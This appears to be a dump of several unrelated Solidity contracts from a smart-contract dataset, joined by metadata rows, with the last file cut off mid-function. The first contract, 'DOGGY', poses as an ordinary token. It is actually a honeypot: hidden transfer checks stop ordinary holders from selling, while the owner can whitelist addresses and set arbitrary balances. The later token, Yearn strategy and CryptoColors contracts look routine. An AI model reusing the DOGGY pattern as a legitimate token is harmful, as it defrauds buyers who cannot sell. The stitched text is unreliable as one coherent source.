function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DOGGY {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 39,337 | 11,183 |
dad528f795c66ef646af9c8469be3a2ad73dca7c2383d1b0a67970d68c6df675
| 13,200 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/92/921869F9f5FAF83c6e37EB789D04EcD004c84eAd_TimeERC20Token.sol
| 2,897 | 10,733 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
abstract contract ERC20 is IERC20 {
using LowGasSafeMath for uint256;
// Present in ERC777
mapping (address => uint256) internal _balances;
// Present in ERC777
mapping (address => mapping (address => uint256)) internal _allowances;
// Present in ERC777
uint256 internal _totalSupply;
// Present in ERC777
string internal _name;
// Present in ERC777
string internal _symbol;
// Present in ERC777
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender]
.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender]
.sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 amount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, amount_);
_totalSupply = _totalSupply.add(amount_);
_balances[account_] = _balances[account_].add(amount_);
emit Transfer(address(0), account_, amount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { }
}
library Counters {
using LowGasSafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
interface IERC2612Permit {
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)));
}
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct =
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline));
bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(_hash, v, r, s);
require(signer != address(0) && signer == owner, "ERC20Permit: Invalid signature");
_nonces[owner].increment();
_approve(owner, spender, amount);
}
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership(address newOwner_) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual override onlyOwner() {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner_) public virtual override onlyOwner() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner_);
_owner = newOwner_;
}
}
contract VaultOwned is Ownable {
address internal _vault;
event VaultTransferred(address indexed newVault);
function setVault(address vault_) external onlyOwner() {
require(vault_ != address(0), "IA0");
_vault = vault_;
emit VaultTransferred(_vault);
}
function vault() public view returns (address) {
return _vault;
}
modifier onlyVault() {
require(_vault == msg.sender, "VaultOwned: caller is not the Vault");
_;
}
}
contract TimeERC20Token is ERC20Permit, VaultOwned {
using LowGasSafeMath for uint256;
constructor() ERC20("Supernova", "SN", 9) {
}
function mint(address account_, uint256 amount_) external onlyVault() {
_mint(account_, amount_);
}
function burn(uint256 amount) external virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) external virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) internal virtual {
uint256 decreasedAllowance_ =
allowance(account_, msg.sender).sub(amount_);
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
}
| 97,419 | 11,184 |
a96a6885e7367852ac75d037eeb14df6405156c2ea1fad99b2f8728386b48274
| 12,320 |
.sol
|
Solidity
| false |
281870469
|
yearn/audit
|
e3d76c568dad06d27c71d596e529f4764a36cb76
|
contracts/yYield/StrategyCompoundBasic.sol
| 3,190 | 12,031 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface cToken {
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function exchangeRateStored() external view returns (uint);
function balanceOf(address _owner) external view returns (uint);
function underlying() external view returns (address);
}
interface Comptroller {
function claimComp(address holder) external;
}
contract StrategyCompoundBasic {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public constant comp = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888);
Comptroller public constant compound = Comptroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); // Comptroller address for compound.finance
cToken public c;
IERC20 public underlying;
address public governance;
address public controller;
constructor(cToken _cToken) public {
governance = msg.sender;
controller = msg.sender;
c = _cToken;
underlying = IERC20(_cToken.underlying());
}
function claim() public {
compound.claimComp(address(this));
}
function deposit() external {
underlying.safeApprove(address(c), 0);
underlying.safeApprove(address(c), underlying.balanceOf(address(this)));
require(c.mint(underlying.balanceOf(address(this))) == 0, "COMPOUND: supply failed");
}
function withdraw(IERC20 asset) external {
require(msg.sender == controller, "!controller");
asset.safeTransfer(controller, asset.balanceOf(address(this)));
}
function _withdrawAll() external {
require(msg.sender == controller, "!controller");
uint256 amount = balanceCompound();
if (amount > 0) {
_withdrawSomeCompound(balanceCompoundInToken().sub(1));
}
}
function _withdrawSomeCompound(uint256 _amount) public {
require(msg.sender == controller, "!controller");
uint256 b = balanceCompound();
uint256 bT = balanceCompoundInToken();
require(bT >= _amount, "insufficient funds");
// can have unintentional rounding errors
uint256 amount = (b.mul(_amount)).div(bT).add(1);
_withdrawCompound(amount);
}
function _withdrawCompound(uint amount) public {
require(msg.sender == controller, "!controller");
require(c.redeem(amount) == 0, "COMPOUND: withdraw failed");
}
function balanceCompoundInToken() public view returns (uint256) {
// Mantisa 1e18 to decimals
uint256 b = balanceCompound();
if (b > 0) {
b = b.mul(c.exchangeRateStored()).div(1e18);
}
return b;
}
function balanceCompound() public view returns (uint256) {
return c.balanceOf(address(this));
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) external {
require(msg.sender == governance, "!governance");
controller = _controller;
}
}
| 233,108 | 11,185 |
538f54cf46412e64d85de0e59431307c6de46e9f8181591a5f129919cc8f6e9c
| 15,071 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x94cac9b8a8e597e5a934b91c0e5a06fe863bde13.sol
| 3,901 | 14,438 |
pragma solidity ^0.4.18; // solhint-disable-line
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CryptoColors {
using SafeMath for uint256;
/// @dev The Birth event is fired whenever a new token comes into existence.
event Birth(uint256 tokenId, string name, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
/// @dev Referrer payout completed
event Payout(address referrer, uint256 balance);
/// @dev Referrer registered
event ReferrerRegistered(address referrer, address referral);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "CryptoColors"; // solhint-disable-line
string public constant SYMBOL = "CLRS"; // solhint-disable-line
uint256 private startingPrice = 0.001 ether;
uint256 private firstStepLimit = 0.02 ether;
uint256 private secondStepLimit = 0.5 ether;
uint256 private thirdStepLimit = 2 ether;
uint256 private forthStepLimit = 5 ether;
/// @dev A mapping from token IDs to the address that owns them. All tokens have
/// some valid owner address.
mapping (uint256 => address) public tokenIndexToOwner;
/// @dev A mapping from owner address to count of tokens that address owns.
/// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from TokenIDs to an address that has been approved to call
/// transferFrom(). Each Token can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public tokenIndexToApproved;
/// @dev A mapping from TokenIDs to the price of the token.
mapping (uint256 => uint256) private tokenIndexToPrice;
/// @dev Current referrer balance
mapping (address => uint256) private referrerBalance;
/// @dev A mapping from a token buyer to their referrer
mapping (address => address) private referralToRefferer;
/// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
struct Token {
string name;
}
Token[] private tokens;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
function CryptoColors() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to,
uint256 _tokenId)
public
{
// Caller must own token.
require(_owns(msg.sender, _tokenId));
tokenIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @dev Returns next token price
function _calculateNextPrice(uint256 _sellingPrice) private view returns (uint256 price) {
if (_sellingPrice < firstStepLimit) {
// first stage
return _sellingPrice.mul(200).div(100);
} else if (_sellingPrice < secondStepLimit) {
// second stage
return _sellingPrice.mul(135).div(100);
} else if (_sellingPrice < thirdStepLimit) {
// third stage
return _sellingPrice.mul(125).div(100);
} else if (_sellingPrice < forthStepLimit) {
// forth stage
return _sellingPrice.mul(120).div(100);
} else {
// fifth stage
return _sellingPrice.mul(115).div(100);
}
}
/// @dev Creates a new Token with the given name.
function createContractToken(string _name) public onlyCLevel {
_createToken(_name, address(this), startingPrice);
}
/// @notice Returns all the relevant information about a specific token.
/// @param _tokenId The tokenId of the token of interest.
function getToken(uint256 _tokenId) public view returns (string tokenName,
uint256 sellingPrice,
address owner) {
Token storage token = tokens[_tokenId];
tokenName = token.name;
sellingPrice = tokenIndexToPrice[_tokenId];
owner = tokenIndexToOwner[_tokenId];
}
/// @dev Get buyer referrer.
function getReferrer(address _address) public view returns (address referrerAddress) {
return referralToRefferer[_address];
}
/// @dev Get referrer balance.
function getReferrerBalance(address _address) public view returns (uint256 totalAmount) {
return referrerBalance[_address];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = tokenIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function payoutToReferrer() public payable {
address referrer = msg.sender;
uint256 totalAmount = referrerBalance[referrer];
if (totalAmount > 0) {
msg.sender.transfer(totalAmount);
referrerBalance[referrer] = 0;
Payout(referrer, totalAmount);
}
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return tokenIndexToPrice[_tokenId];
}
// Purchase token and increse referrer payout
function purchase(uint256 _tokenId, address _referrer) public payable {
address newOwner = msg.sender;
address oldOwner = tokenIndexToOwner[_tokenId];
uint256 sellingPrice = tokenIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = sellingPrice.mul(95).div(100);
uint256 purchaseExcess = msg.value.sub(sellingPrice);
// Calculate 15% ref bonus
uint256 referrerPayout = sellingPrice.sub(payment).mul(15).div(100);
address storedReferrer = getReferrer(newOwner);
// If a referrer is registered
if (_addressNotNull(storedReferrer)) {
// Increase referrer balance
referrerBalance[storedReferrer] += referrerPayout;
} else if (_addressNotNull(_referrer)) {
// Associate a referral with the referrer
referralToRefferer[newOwner] = _referrer;
// Notify subscribers about new referrer
ReferrerRegistered(_referrer, newOwner);
referrerBalance[_referrer] += referrerPayout;
}
// Update prices
tokenIndexToPrice[_tokenId] = _calculateNextPrice(sellingPrice);
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
TokenSold(_tokenId, sellingPrice, tokenIndexToPrice[_tokenId], oldOwner, newOwner, tokens[_tokenId].name);
// Transfer excess back to owner
if (purchaseExcess > 0) {
msg.sender.transfer(purchaseExcess);
}
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = tokenIndexToOwner[_tokenId];
